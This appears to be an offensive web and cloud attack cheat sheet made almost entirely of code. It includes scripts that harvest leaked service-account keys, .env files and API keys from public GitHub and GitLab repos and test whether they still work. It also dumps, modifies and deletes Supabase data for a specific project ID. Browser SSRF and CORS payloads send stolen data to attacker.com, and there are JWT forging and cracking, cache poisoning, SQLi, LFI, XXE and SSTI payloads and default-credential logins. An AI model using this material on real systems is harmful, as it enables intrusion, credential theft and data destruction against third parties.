        "iat": now,
        "exp": now + 3600
    }
    payload = base64.urlsafe_b64encode(json.dumps(claims).encode()).rstrip(b'=').decode()
    key = load_pem_private_key(
        sa_key['private_key'].encode(), password=None, backend=default_backend()
    )
    signature = base64.urlsafe_b64encode(
        key.sign(f'{header}.{payload}'.encode(), pad.PKCS1v15(), hashes.SHA256())
    ).rstrip(b'=').decode()
    
    resp = requests.post(sa_key['token_uri'],
        data=f'grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer&assertion={header}.{payload}.{signature}'.encode(),
        headers={'Content-Type':'application/x-www-form-urlencoded'}, timeout=10)
    return resp.json()['access_token']

# With the token, list IAM policy (find owners/admins)
r = requests.get(
    f'https://cloudresourcemanager.googleapis.com/v1/projects/{project_id}:getIamPolicy',
    headers={'Authorization': f'Bearer {token}'}
)
for binding in r.json().get('bindings', []):
    if binding['role'] in ['roles/owner', 'roles/editor']:
        print(f"👑 {binding['role']}: {binding['members']}")

# List Storage buckets
r = requests.get(
    f'https://storage.googleapis.com/storage/v1/b?project={project_id}',
    headers={'Authorization': f'Bearer {token}'}
)
for bucket in r.json().get('items', []):
    print(f"📦 {bucket['name']}")

# Test Firestore access
r = requests.get(
    f'https://firestore.googleapis.com/v1/projects/{project_id}/databases/(default)/documents',
    headers={'Authorization': f'Bearer {token}'}
)
if r.status_code == 200:
    print("🔥 FIRESTORE ACCESSIBLE")

ANON_KEY="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
PROJECT="gfgmuezavgzjmaxhflsu"

# List ALL tables (if RLS is broken) — test common names
for table in users profiles posts products orders \
             clients companies messages conversations \
             relatorios relatorio purchase etapa; do
  curl -s "https://${PROJECT}.supabase.co/rest/v1/${table}?limit=1" \
    -H "apikey: ${ANON_KEY}" \
    -H "Authorization: Bearer ${ANON_KEY}" | head -c 200
  echo ""
done

# Table dump (if accessible)
curl -s "https://${PROJECT}.supabase.co/rest/v1/users?select=*&limit=100" \
  -H "apikey: ${ANON_KEY}" \
  -H "Authorization: Bearer ${ANON_KEY}"

# Test UPDATE
curl -X PATCH "https://${PROJECT}.supabase.co/rest/v1/etapa?id=eq.1" \
  -H "apikey: ${ANON_KEY}" \
  -H "Authorization: Bearer ${ANON_KEY}" \
  -H "Content-Type: application/json" \
  -H "Prefer: return=minimal" \
  -d '{"status":"hacked"}'

# Test DELETE
curl -X DELETE "https://${PROJECT}.supabase.co/rest/v1/relatorio?id=eq.1" \
  -H "apikey: ${ANON_KEY}" \
  -H "Authorization: Bearer ${ANON_KEY}"

# SignUp (if open)
curl -X POST "https://${PROJECT}.supabase.co/auth/v1/signup" \
  -H "apikey: ${ANON_KEY}" \
  -H "Content-Type: application/json" \
  -d '{"email":"test@test.com","password":"Test123!"}'

# Storage — list buckets
curl -s "https://${PROJECT}.supabase.co/storage/v1/bucket" \
  -H "apikey: ${ANON_KEY}" \
  -H "Authorization: Bearer ${ANON_KEY}"

const {v2} = require('@google-cloud/run');
const client = new v2.ServicesClient({credentials: sa});
const [services] = await client.listServices({
    parent: 'projects/' + projectId + '/locations/us-central1'
});
for (const svc of services) {
    console.log(svc.name, svc.uri, svc.ingress);
    // ingress: "all" = public, "internal" = VPC only
}

# List repositories
r = requests.get(
    f'https://artifactregistry.googleapis.com/v1/projects/{project}/locations/{region}/repositories',
    headers={'Authorization': f'Bearer {token}'}
)

# Download specific image manifest
digest = "sha256:XXXXX"
r = requests.get(
    f'https://{region}-docker.pkg.dev/v2/{project}/{repo}/{image}/manifests/{digest}',
    headers={'Authorization': f'Bearer {token}',
             'Accept': 'application/vnd.docker.distribution.manifest.v2+json'}
)

# Download layers
for i, layer in enumerate(r.json().get('layers', [])):
    r2 = requests.get(
        f'https://{region}-docker.pkg.dev/v2/{project}/{repo}/{image}/blobs/{layer["digest"]}',
        headers={'Authorization': f'Bearer {token}'}
    )
    with open(f'/tmp/layer_{i}.tar.gz', 'wb') as f:
        f.write(r2.content)

# Extract and search for secrets
# tar -xzf layer.tar.gz
# grep -r "MIGRATION_TOKEN\|APP_KEY\|DB_PASSWORD\|secret\|password" . --include="*.js" --include="*.ts" --include="*.json" --include=".env"

# Test if bucket is public
curl -s "http://bucket-name.s3.amazonaws.com/"
# If XML with <ListBucketResult> is returned → PUBLIC LISTING

# Upload (if writable)
curl -X PUT "http://bucket-name.s3.amazonaws.com/test.txt" \
  -H "Content-Type: text/plain" \
  -d "pwned"

# Test common bucket names
buckets=("target" "target-prod" "target-dev" "target-images"
         "target-uploads" "target-backup" "target-media"
         "download.target.com" "static.target.com")

for b in "${buckets[@]}"; do
  r=$(curl -sk -o /dev/null -w "%{http_code}" "https://$b.s3.amazonaws.com/" 2>/dev/null)
  if [ "$r" != "404" ]; then
    echo "$b -> HTTP $r"
  fi
done

# Health check
curl -sI "http://host:9000/minio/health/live"

# Admin API (versions v1, v3)
curl -s "http://host:9000/minio/admin/v3/info"

# Web console login (port 9001)
curl -s "http://host:9001/api/v1/login"  # GET → {"loginStrategy":"form"}
curl -X POST "http://host:9001/api/v1/login" \
  -H "Content-Type: application/json" \
  -d '{"accessKey":"minioadmin","secretKey":"minioadmin"}'

# List bucket objects
curl -s "http://host:9000/bucket-name?list-type=2"

# Upload
curl -X PUT "http://host:9000/bucket-name/file.html" \
  -H "Content-Type: text/html; charset=utf-8" \
  -d "<h1>Pwned</h1>"

# URL pattern
# https://{storage_account}.blob.core.windows.net/{container}

# Test public listing
curl -s "https://storageaccount.blob.core.windows.net/container?restype=container&comp=list"

<script>
// SSRF via victim's browser
async function ssrf() {
  let targets = [
    'http://localhost:8080/actuator/env',
    'http://127.0.0.1:9200/',
    'http://169.254.169.254/latest/meta-data/',  // AWS metadata
  ];
  for (let url of targets) {
    try {
      let r = await fetch(url);
      let data = await r.text();
      new Image().src = 'https://attacker.com/exfil?data=' + encodeURIComponent(data);
    } catch(e) {}
  }
}
ssrf();
</script>

# Setup
gh auth login
GH_TOKEN=$(gh auth token)

headers = {"Authorization": f"token {GH_TOKEN}"}
base = "https://api.github.com/search/code"

# SA Keys (Firebase/GCP) — ~1 in 30 is valid
params = {"q": '"type": "service_account" "private_key" "project_id"'}

# .env with real credentials
params = {"q": 'DB_PASSWORD+DB_HOST+APP_KEY+filename:.env+NOT+example+NOT+your+NOT+test'}

# Supabase URLs + keys
params = {"q": 'supabase.co+SUPABASE_URL+SUPABASE_ANON_KEY+NOT+example+NOT+your'}

# AWS Keys
params = {"q": 'AKIA+filename:.env+NOT+example+NOT+your'}

# SendGrid keys
params = {"q": 'SG.+filename:.env+NOT+example'}

# MongoDB connection strings
params = {"q": 'mongodb+srv://+password+extension:env+NOT+example'}

# Specific Firebase SA keys
params = {"q": 'firebase-adminsdk+private_key_id+private_key+extension:json+NOT+test'}

# Google OAuth credentials
params = {"q": '"client_id" "client_secret" "redirect_uris" extension:json'}

# Mercado Pago keys
params = {"q": 'APP_USR- extension:js NOT example NOT test'}

# Laravel .env with secrets
params = {"q": 'APP_KEY=base64 filename:.env NOT example'}

import glob, json

def test_sa_key(sa_json):
    """Tests whether an SA key found on GitHub is still valid and generates a token."""
    from cryptography.hazmat.primitives import hashes, serialization
    from cryptography.hazmat.primitives.asymmetric import padding as pad
    from cryptography.hazmat.backends import default_backend
    import base64, time, requests

    now = int(time.time())
    header = base64.urlsafe_b64encode(json.dumps({"alg":"RS256","typ":"JWT"}).encode()).rstrip(b'=').decode()
    claims = {"iss": sa_json['client_email'],
              "scope": "https://www.googleapis.com/auth/cloud-platform",
              "aud": sa_json['token_uri'], "iat": now, "exp": now+3600}
    payload = base64.urlsafe_b64encode(json.dumps(claims).encode()).rstrip(b'=').decode()
    key = load_pem_private_key(sa_json['private_key'].encode(), password=None, backend=default_backend())
    signature = base64.urlsafe_b64encode(
        key.sign(f'{header}.{payload}'.encode(), pad.PKCS1v15(), hashes.SHA256())
    ).rstrip(b'=').decode()
    resp = requests.post(sa_json['token_uri'],
        data=f'grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer&assertion={header}.{payload}.{signature}'.encode(),
        headers={'Content-Type':'application/x-www-form-urlencoded'}, timeout=10)
    if resp.status_code == 200:
        return True, resp.json().get('access_token')
    return False, None

# Find and test SA keys
for fpath in glob.glob('/tmp/sa_key_*.json'):
    with open(fpath) as f:
        sa = json.load(f)
    valid, token = test_sa_key(sa)
    status = "✅ VALID" if valid else "❌ REVOKED"
    print(f"{status} | {sa['project_id']:30s} | {sa['client_email'][:40]}")
    if valid:
        # With the token, test access to Storage, Firestore, IAM
        check_sa_access(token, sa['project_id'])

# Search public projects
r = requests.get("https://gitlab.com/api/v4/projects?search=env+DB_PASSWORD&per_page=20")
for proj in r.json():
    # Try to read sensitive files
    for file in ['.env', 'config/database.yml', 'credentials.json']:
        r2 = requests.get(
            f"https://gitlab.com/api/v4/projects/{proj['id']}/repository/files/{file}/raw?ref=main"
        )
        if r2.status_code == 200 and 'password' in r2.text.lower():
            print(f"🔥 {proj['path_with_namespace']}/{file}")

# If self-hosted GitLab is found:
# https://gitlab.empresa.com.br/api/v4/projects?visibility=public

// VULNERABLE CODE
if (req.headers["x-migration-token"] === process.env.MIGRATION_TOKEN) {
  // access granted
}

// If MIGRATION_TOKEN is not defined in .env:
// process.env.MIGRATION_TOKEN = undefined
// req.headers["x-migration-token"] = undefined (header not sent)
// undefined === undefined → TRUE → bypass!

# Test whether signUp is enabled
r = requests.post(
    f"https://identitytoolkit.googleapis.com/v1/accounts:signUp?key={WEB_API_KEY}",
    json={"email": "test@test.com", "password": "Test123!", "returnSecureToken": True}
)
# If 200 → Registration OPEN (create account without invite)
# If 400 "WEAK_PASSWORD" → registration open, weak password
# If 400 "OPERATION_NOT_ALLOWED" → disabled

# Headers that bypass protections:
bypass_headers = {
    "X-Forwarded-For": "127.0.0.1",
    "X-Real-IP": "127.0.0.1",
    "X-Originating-IP": "127.0.0.1",
    "X-Remote-IP": "127.0.0.1",
    "X-Client-IP": "127.0.0.1",
    "X-Host": "127.0.0.1",
    "X-Forwarded-Host": "127.0.0.1",
    "X-Original-URL": "/admin",
    "X-Rewrite-URL": "/admin",
    "X-HTTP-Method-Override": "GET",
}

# Test direct IP access (CDN/WAF bypass)
# Many domains behind Cloudflare have the real IP accessible
# via DNS history (SecurityTrails, DNSDB)

import time

# Response time difference reveals if user exists
def timing_test(url, username, password="wrongpass"):
    start = time.time()
    r = requests.post(url, json={"email": username, "password": password})
    elapsed = (time.time() - start) * 1000
    return elapsed

# If admin@target.com → 896ms, fake@target.com → 572ms
# → Difference > 200ms confirms user enumeration

# Common SAML IdP URLs
for path in /saml2/idp/metadata.php /simplesaml/saml2/idp/metadata.php \
            /module.php/saml/idp/metadata.php /Shibboleth.sso/Metadata \
            /simplesaml/module.php/saml/sp/metadata.php; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" "https://TARGET$path")
  echo "$path → $code"
done

# SimpleSAMLphp admin (if exposed)
for path in /simplesaml/admin/ /simplesaml/module.php/admin/ \
            /module.php/admin/; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" "https://TARGET$path")
  echo "$path → $code"
done

# If SimpleSAMLphp is not at /simplesaml/ (common behind nginx),
# check for characteristic assets:
curl -sk "https://TARGET/assets/base/css/stylesheet.css" | head -5
# If it's SimpleSAMLphp CSS, the base path has been customized

import requests, xml.etree.ElementTree as ET

r = requests.get("https://TARGET/saml2/idp/metadata.php")
root = ET.fromstring(r.content)
ns = {
    'md': 'urn:oasis:names:tc:SAML:2.0:metadata',
    'ds': 'http://www.w3.org/2000/09/xmldsig#'
}

# Entity ID (unique IdP identifier)
entity_id = root.get('entityID')
print(f"Entity ID: {entity_id}")

# X.509 certificates (signing and encryption)
for key in root.findall('.//md:KeyDescriptor', ns):
    use = key.get('use', 'unspecified')
    cert = key.find('.//ds:X509Certificate', ns)
    if cert is not None:
        print(f"Cert ({use}): {cert.text[:40]}...")

# SingleSignOnService URL
for sso in root.findall('.//md:SingleSignOnService', ns):
    print(f"SSO URL ({sso.get('Binding')}): {sso.get('Location')}")

# NameIDFormat
for fmt in root.findall('.//md:NameIDFormat', ns):
    print(f"NameIDFormat: {fmt.text}")

# Certificate Subject Alternative Names (SANs)
# Extract using OpenSSL

import base64, zlib, urllib.parse

# Extract SAMLRequest from redirect URL
r = requests.get("https://SP.TARGET.com/wp-login.php",
    allow_redirects=False)
loc = r.headers.get('Location', '')
samreq = urllib.parse.parse_qs(urllib.parse.urlparse(loc).query).get('SAMLRequest', [None])[0]

if samreq:
    decoded = base64.b64decode(urllib.parse.unquote(samreq))
    try:
        # SimpleSAMLphp uses deflate compression
        inflated = zlib.decompress(decoded, -zlib.MAX_WBITS)
        print(inflated.decode('utf-8'))
    except:
        print(decoded.decode('utf-8', errors='replace'))

# 1. Identify the SSO login endpoint
# Usually: /module.php/core/loginuserpass or /simplesaml/module.php/core/loginuserpass

# 2. Test with valid vs invalid user
# Different response (password error vs "user not found") = user enum

# 3. SimpleSAMLphp admin
# Access /simplesaml/module.php/core/loginuserpass.php?as_admin=1
# May give access to the SimpleSAMLphp admin panel

# Methods WITHOUT authentication still work:
# system.listMethods → lists all 79+ methods
# system.getCapabilities → XMLRPC version
# demo.sayHello → connectivity test
# pingback.ping → potential SSRF (even without auth!)

# Methods that require auth will return SSO HTML:
# wp.getUsers, wp.getPosts, wp.uploadFile → require credentials

# jwt.io or Python:
import base64, json

token = "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0In0.xxx"

def decode_jwt(token):
    parts = token.split('.')
    # Header
    h = json.loads(base64.urlsafe_b64decode(parts[0] + '===').decode())
    # Payload
    p = json.loads(base64.urlsafe_b64decode(parts[1] + '===').decode())
    return h, p

header, payload = decode_jwt(token)
print(f"Alg: {header.get('alg')}")
print(f"Payload: {payload}")

from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding as pad
from cryptography.hazmat.primitives.serialization import load_pem_private_key
from cryptography.hazmat.backends import default_backend
import base64, json

with open('private.key') as f:
    key = load_pem_private_key(f.read().encode(), password=None, backend=default_backend())

def forge_jwt(payload, alg="RS256"):
    header = {"alg": alg, "typ": "JWT"}
    h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
    p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
    sig = key.sign(f'{h}.{p}'.encode(), pad.PKCS1v15(), hashes.SHA256())
    s = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
    return f'{h}.{p}.{s}'

# Example: forge an admin token
admin_token = forge_jwt({
    "sub": "1",
    "email": "admin@target.com",
    "role": "admin",
    "iat": int(time.time()),
    "exp": int(time.time()) + 3600
})

# Using hashcat
hashcat -m 16500 jwt_token.txt /usr/share/wordlists/rockyou.txt

# Using john
john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256

# Simple Python script
import hmac, hashlib, base64, json

def verify_jwt(token, secret):
    parts = token.split('.')
    header_b64, payload_b64, sig_b64 = parts
    sig_check = base64.urlsafe_b64encode(
        hmac.new(secret.encode(), f'{header_b64}.{payload_b64}'.encode(), hashlib.sha256).digest()
    ).rstrip(b'=').decode()
    return sig_check == sig_b64

# Test common secrets
for secret in ['secret', 'jwt_secret', 'password', 'changeme', 'supersecret']:
    if verify_jwt(token, secret):
        print(f"🔥 Secret found: {secret}")

# 1. Origin reflected?
curl -sI -H "Origin: https://evil.com" "https://target.com/api/data" | grep -i "access-control"

# 2. Null origin accepted?
curl -sI -H "Origin: null" "https://target.com/api/data" | grep -i "access-control"

# 3. Credentials allowed?
# If Access-Control-Allow-Credentials: true + reflected Origin = EXPLOITABLE

# 4. Preflight (OPTIONS) accepts sensitive methods?
curl -sI -X OPTIONS -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: DELETE" \
  "https://target.com/api/data"

<!-- Save as cors_poc.html and open in the browser -->
<script>
// If the victim is logged in, the cookies will be sent
fetch('https://target.com/wp-json/wp/v2/pages', {
  credentials: 'include'
}).then(r => r.json()).then(data => {
  // Authenticated data extracted cross-origin
  console.log('Stolen data:', data);
  fetch('https://attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify(data)
  });
});
</script>

# Headers that indicate cache
curl -sI "https://TARGET/" | grep -iE "(age|x-cache|cf-cache-status|via|server)"

# Confirm that Age increments
for i in 1 2 3; do
  curl -sI "https://TARGET/" | grep -i "^age:"
done

# Test each header with a cache buster
for header in "X-Forwarded-Host: evil.com" \
              "X-Forwarded-Scheme: http" \
              "X-Host: evil.com" \
              "X-Original-URL: /evil"; do
  echo "=== $header ==="
  curl -sk "https://TARGET/?cb=$RANDOM" -H "$header" 2>&1 | grep -c "evil"
done

# Phase 1: Poison
curl -sk "https://TARGET/?cb=POISON123" \
  -H "X-Forwarded-Host: evil.com" > /dev/null

# Phase 2: Verify cache HIT (WITHOUT the malicious header!)
curl -skI "https://TARGET/?cb=POISON123" | grep -i "x-cache: HIT"

# Phase 3: Read cached response (must contain "evil.com")
curl -sk "https://TARGET/?cb=POISON123" | grep "evil.com"
# If it appears → Cache Poisoning CONFIRMED

# Extensions that CDNs typically cache: .css .js .png .jpg .ico .pdf .json .xml
# Apply these extensions to sensitive pages:

# Victim visits (with cookies):
curl -sk "https://target.com/my-profile.css" \
  -H "Cookie: session=VICTIM_SESSION"

# Attacker reads the cache:
curl -sk "https://target.com/my-profile.css" | grep -i "jwt\|token\|secret"

# Attacker prepares URL
CACHE_BUSTER="victim_$(date +%s)"

# Victim visits (with authenticated cookies):
# https://target.com/my-profile?cb=$CACHE_BUSTER

# Attacker reads:
curl -sk "https://target.com/my-profile?cb=$CACHE_BUSTER"

<!-- Payload: meta refresh = top-level navigation -->
<meta http-equiv="refresh" content="0; url=https://target.com/my-profile?cb=victim123">

# 1. URL encoding
http://2130706433/          # decimal of 127.0.0.1
http://0x7f000001/          # hex
http://0177.0.0.1/          # octal

# 2. DNS rebinding
http://1.0.0.127.nip.io/    # resolves to 127.0.0.1

# 3. Redirect
http://attacker.com/redirect?url=http://169.254.169.254/

# 4. IPv6
http://[::1]:80/
http://[::ffff:127.0.0.1]/

# 5. URL parser differentials
http://expected.com@127.0.0.1/
http://expected.com#@127.0.0.1/

# 6. Shortened URLs
http://bit.ly/xxxxx  → redirect to metadata endpoint

# 7. DNS wildcard
http://127.0.0.1.mydomain.com/

# 8. Alternative representations
http://127.1/               # = 127.0.0.1
http://0/                   # = 0.0.0.0

# 9. IDN homograph
http://127.0.0.1。attacker.com/

# 10. Cloud metadata endpoints
http://169.254.169.254/latest/meta-data/       # AWS
http://metadata.google.internal/computeMetadata/v1/ # GCP
http://169.254.169.254/metadata/instance?api-version=2021-02-01 # Azure

# 11. File:// protocol
file:///etc/passwd
file:///proc/self/environ

# If the SSRF is blind (no visible response), use a callback to confirm:
# 1. Generate unique URL on Burp Collaborator or webhook.site
# 2. Inject into suspicious parameters (url=, path=, redirect=, file=)
# 3. Check if the callback arrives

import requests, time

url = "http://target.com/login"
payloads = {
    "normal":    {"login": "admin", "senha": "x"},
    "sleep":     {"login": "admin", "senha": "x' OR SLEEP(5)--"},
    "boolean":   {"login": "admin' OR '1'='1", "senha": "x"},
    "or_1":      {"login": "admin'+OR+1=1--", "senha": "x"},
}

for label, data in payloads.items():
    start = time.time()
    r = requests.post(url, data=data, timeout=15)
    elapsed = (time.time() - start) * 1000
    print(f"{label}: {elapsed:.0f}ms | Status: {r.status_code} | Size: {len(r.text)}")

# Classic payloads
paths = [
    "../../../etc/passwd",
    "....//....//....//etc/passwd",
    "..%2f..%2f..%2fetc%2fpasswd",
    "/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
    "php://filter/convert.base64-encode/resource=index.php",
    "php://filter/read=convert.base64-encode/resource=../../.env",
    "file:///etc/passwd",
    "....//....//....//proc/self/environ",
]

for p in paths:
    r = requests.get(f"http://target.com/download?file={p}", timeout=10)
    if "root:" in r.text or "DB_PASSWORD" in r.text or "APP_KEY" in r.text:
        print(f"🔥 LFI: {p}")

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

<!-- OOB (blind XXE) -->
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">
  %xxe;
]>

# Probes for detection (mathematical evaluation)
probes = [
    "{{7*7}}",          # Jinja2, Twig
    "${7*7}",           # Freemarker, Velocity
    "<%= 7*7 %>",       # ERB (Ruby)
    "#{7*7}",           # Ruby string interpolation
    "{{7*'7'}}",        # Twig (49)
    "${{7*7}}",         # Groovy
]

for probe in probes:
    r = requests.get(f"http://target.com/page?name={probe}")
    if "49" in r.text:
        print(f"🔥 SSTI confirmed: {probe}")

# Test connectivity
timeout 3 bash -c "echo > /dev/tcp/$HOST/3306" && echo "OPEN"

# Try connection
mysql -h $HOST -u root --password=root
mysql -h $HOST -u admin --password=admin

# Read banner (without authenticating)
# EOL versions (5.7, 5.6) = multiple unpatched RCE CVEs

# Test without password
redis-cli -h $HOST PING
# If "PONG" → no password!

# Dump all keys
redis-cli -h $HOST KEYS '*'

# Read values
redis-cli -h $HOST GET "session:abc123"

mongosh "mongodb://$HOST:27017" --eval "db.adminCommand('listDatabases')"

psql -h $HOST -U postgres -d postgres -c "SELECT version()"

# Test anonymous
ftp -n $HOST <<EOF
user anonymous anonymous
ls
quit
EOF

# Common users:
# admin, root, backup, ftp, upload, download, www-data, mysql, postgres

# Pure-FTPd, vsFTPd, ProFTPD versions — check CVEs

# Check if it responds
curl -s "http://$HOST:3000/api/health"
curl -s "http://$HOST:3000/register"      # Open registration?
curl -s "http://$HOST:3000/api/settings"